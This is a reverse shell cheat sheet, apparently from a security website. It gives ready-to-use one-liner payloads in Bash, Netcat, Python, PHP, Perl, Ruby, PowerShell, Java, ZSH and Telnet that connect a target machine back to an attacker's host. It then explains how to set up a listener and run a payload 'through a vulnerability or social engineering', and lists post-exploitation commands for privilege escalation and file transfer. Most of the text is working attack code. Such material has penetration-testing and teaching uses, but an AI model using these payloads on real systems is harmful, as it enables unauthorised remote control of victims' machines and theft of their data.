Reverse Shell Cheat Sheet

comparitech

Creating a Reverse Shell

Netcat

```
nc -e /bin/sh
```

Bash

```
bash -i >& /dev/tcp// 0>&1
```

Python

```
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("",))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])
```

PHP

```
php -r '$sock=fsockopen("",);exec("/bin/sh -i <&3 >&3 2>&3");'
```

ZSH

```
zsh -c 'zmodload zsh/net/tcp && ztcp && zsh >&$REPLY 2>&$REPLY 0>&$REPLY'
```

PowerShell

```
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('',);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
```

Perl

```
perl -e 'use Socket;$i="$ENV{}";$p=$ENV{};socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
```

Ruby

```
ruby -rsocket -e 'exit if fork;c=TCPSocket.new(ENV[""],ENV[""]);while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
```

Java

```
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
```

Telnet

```
TF=$(mktemp -u); mkfifo $TF && telnet 0<$TF | /bin sh 1>$TF
```

Using a Reverse Shell

Listener Setup (Attacker's Machine)	Payload Generation (Target Machine)	Execution on the Target Machine	Connection Back to Attacker	Remote Control	Replace IP and Port
Netcat (nc) Reverse Shell					
Bash: nc -lvp <port>	Bash: /bin/bash -c "/bin/bash -i > /dev/tcp/<attacker_ip>/<port> 0<&1 2>&1"	Execute the payload on the target machine through a vulnerability or social engineering.	The target machine initiates a connection back to the attacker's machine.	Upon successful connection, the attacker gains a shell on the target. Interact with the shell to execute commands and manipulate the target system.	Replace <attacker_ip> and <port> with the actual IP address and port
Python Reverse Shell					
Bash: nc -lvp <port>	Python: python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<attacker_ip>",<port>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'	Execute the payload on the target machine through a vulnerability or social engineering	The target machine initiates a connection back to the attacker's machine	Upon successful connection, the attacker gains a shell on the target. Interact with the shell to execute commands and manipulate the target system.	Replace <attacker_ip> and <port> with the actual IP address and port
PHP Reverse Shell					
Bash: nc -lvp <port>	php: php -r '$sock=fsockopen("<attacker_ip>",<port>);exec("/bin/sh -i <&3 >&3 2>&3");'	Execute the payload on the target machine through a vulnerability or social engineering	The target machine initiates a connection back to the attacker's machine	Upon successful connection, the attacker gains a shell on the target. Interact with the shell to execute commands and manipulate the target system.	Replace <attacker_ip> and <port> with the actual IP address and port
Ruby Reverse Shell					
Bash: nc -lvp <port>	Ruby: ruby -rsocket -e'f=TCPSocket.open("<attacker_ip>",<port>).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'	Execute the payload on the target machine through a vulnerability or social engineering	The target machine initiates a connection back to the attacker's machine	Upon successful connection, the attacker gains a shell on the target. Interact with the shell to execute commands and manipulate the target system	Replace <attacker_ip> and <port> with the actual IP address and port
Bash Reverse Shell					
Bash: nc -lvp <port>	bash -i >& /dev/tcp/<attacker_ip>/<port> 0>&1	Execute the payload on the target machine through a vulnerability or social engineering.	The target machine initiates a connection back to the attacker's machine	Upon successful connection, the attacker gains a shell on the target. Interact with the shell to execute commands and manipulate the target system	Replace <attacker_ip> and <port> with the actual IP address and port

Employing a Reverse Shell

Command Name	Description	Usage Example
Navigation and File Operations		
ls (List)	Lists files and directories	ls (list files and directories in the current folder)
cd (Change Directory)	Changes the current working directory	cd Documents (move to the "Documents" directory)
cp (Copy)	Copies files or directories	cp file.txt /destination/folder (copy to a specified folder)
mv (Move/Rename):	Moves or renames files or directories	mv oldfile.txt newfile.txt (rename) mv file.txt /new/location/ (move)
rm (Remove)	Deletes files or directories	rm file.txt (delete a file)
pwd (Print Working Directory)	Display the current working directory	pwd (show the current working directory)
find (Find Files and Directories)	Search for files and directories in a directory hierarchy.	find /path/to/search -name "filename" (search for a specific file).
chmod (Change Mode)	Change file permissions	chmod +x script.sh (add execute permission to a script).
chown (Change Owner)	Change the owner of a file or directory	chown user:group myfile.txt (change owner and group)
Privilege Escalation and File Transfer		
Sudo	List available sudo commands for the current user	sudo -l
Sudo	Run a command with elevated privileges	sudo <command>
Switch user	Switch to the root user.	su
Switch user	Switch to the root user with elevated privileges.	sudo su
wget	Download a file from the internet	wget <file URL>
curl	Download a file from the internet	curl <file URL>
netcat	Receive a file over the network using netcat	c -l <local port> > <file>
netcat	Send a file over the network using netcat	nc <target IP> <target port> < <file>
Networking		
ping (Ping)	Test network connectivity	ping example.com
ifconfig (Interface Configuration)	Display/configure network interfaces	ifconfig -a (show all interfaces)
netstat (Network Statistics)	Show network connections	netstat -an (display all active network connections)
route (Display or Modify Routing Table)	Display or modify the IP routing table.	route -n (display routing table)
traceroute (Trace Route)	Display the route that packets take to reach a destination	traceroute example.com (trace the route to a domain)
Nmap (Network Map)	Scan a network for open ports and services	nmap
nslookup (Name Server Lookup)	Query DNS servers for domain name information	nslookup example.com (lookup domain information)
ARP	Display ARP table	arp -a
ssh (Secure Shell)	Connect to a remote server securely.	ssh username@remotehost (connect to a remote server).
scp (Secure Copy)	Copy files securely between hosts.	scp file.txt username@remotehost:/path/to/destination (securely copy a file).